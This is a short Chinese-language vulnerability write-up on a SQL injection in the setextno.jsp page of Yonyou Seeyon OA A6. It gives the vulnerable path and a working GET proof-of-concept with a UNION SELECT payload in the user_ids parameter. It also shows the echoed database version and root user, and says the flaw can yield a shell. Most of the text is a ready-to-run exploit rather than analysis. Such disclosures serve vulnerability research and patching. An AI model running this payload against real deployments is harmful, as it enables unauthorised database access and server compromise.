跳转至

致远OA A6 setextno.jsp sql注入漏洞

一、漏洞简介

用友致远A6协同系统SQL注入,union可shell

二、漏洞影响

致远OA A6

三、复现过程

漏洞位置:
http://www.0-sec.org/yyoa/ext/trafaxserver/ExtnoManage/setextno.jsp
漏洞详情:
版本:A6用友致远A6协同系统SQL注入,union可shell
请求方式:
Get
POC:
http://www.0-sec.org/yyoa/ext/trafaxserver/ExtnoManage/setextno.jsp?user_ids=(17) union all select 1,2,@@version,user()%23
回显内容
5.0.41-community-nt 
分机号root@localhos